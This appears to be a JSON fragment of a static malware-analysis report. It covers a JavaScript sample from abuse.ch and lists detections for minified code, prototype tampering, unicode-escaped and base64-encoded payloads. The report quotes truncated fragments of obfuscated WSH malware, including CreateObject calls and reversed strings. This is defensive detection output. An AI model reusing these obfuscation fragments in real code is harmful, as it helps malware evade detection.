            "d": "Prototype guard keyword",
            "e": [
              "prototype"
            ],
            "i": "micro-behaviors/data/source/prototype::js-proto-guard-prototype",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Minified/compressed code (multiple indicators)",
            "e": [
              "text.whitespace_ratio = 0.00",
              "functions.density_per_100_lines = 28.57"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::minified-code",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Decoded unicode-escape content",
            "e": [
              "String.prototype.mouse = {mp3: function( \u003cunicode-escape\u003e",
              "Array.prototype.d4rlaRm2 = function() {v \u003cunicode-escape\u003e",
              "Array[\"prototype\"][\"undefined\"] = functi \u003cunicode-escape\u003e",
              "Array.prototype.k4Rd3 = \"m3MorYkAd = [ev \u003cunicode-escape\u003e",
              "oMut1 = [Array(WSH[m3MorYkAd[1][0]]([\"ad \u003cunicode-escape\u003e",
              "(\"CreateObject\"+\"txeTdaeR|\".mouse()+\"|un \u003cunicode-escape\u003e"
            ],
            "i": "metadata/encoded-payload/unicode-escape",
            "l": 2,
            "el": [
              "offset:214",
              "offset:735",
              "offset:65",
              "offset:206858",
              "offset:206403",
              "offset:525"
            ]
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: base64",
            "e": [
              "bcYVSdzwzjjvMJWfwDUEsHCKa5a%\u003c!cYBg%\u003c!%\u003c! \u003cbase64\u003e"
            ],
            "i": "metadata/encoded-payload/base64",
            "l": 3,
            "el": [
              "offset:976"
            ]
          }
        ],
        "sha": "dc628151dd00039d1f96e11cfffcca93ca411132073a71b5bf9bee3d5368a56c",
        "path": "/data/samples/bad/datasets/various/datalake.abuse.ch/2025-02/dc628151dd00039d1f96e11cfffcca93ca411132073a71b5bf9bee3d5368a56c.js",
        "type": "javascript"
      }
    ],
    "tv": "52045"
  }
}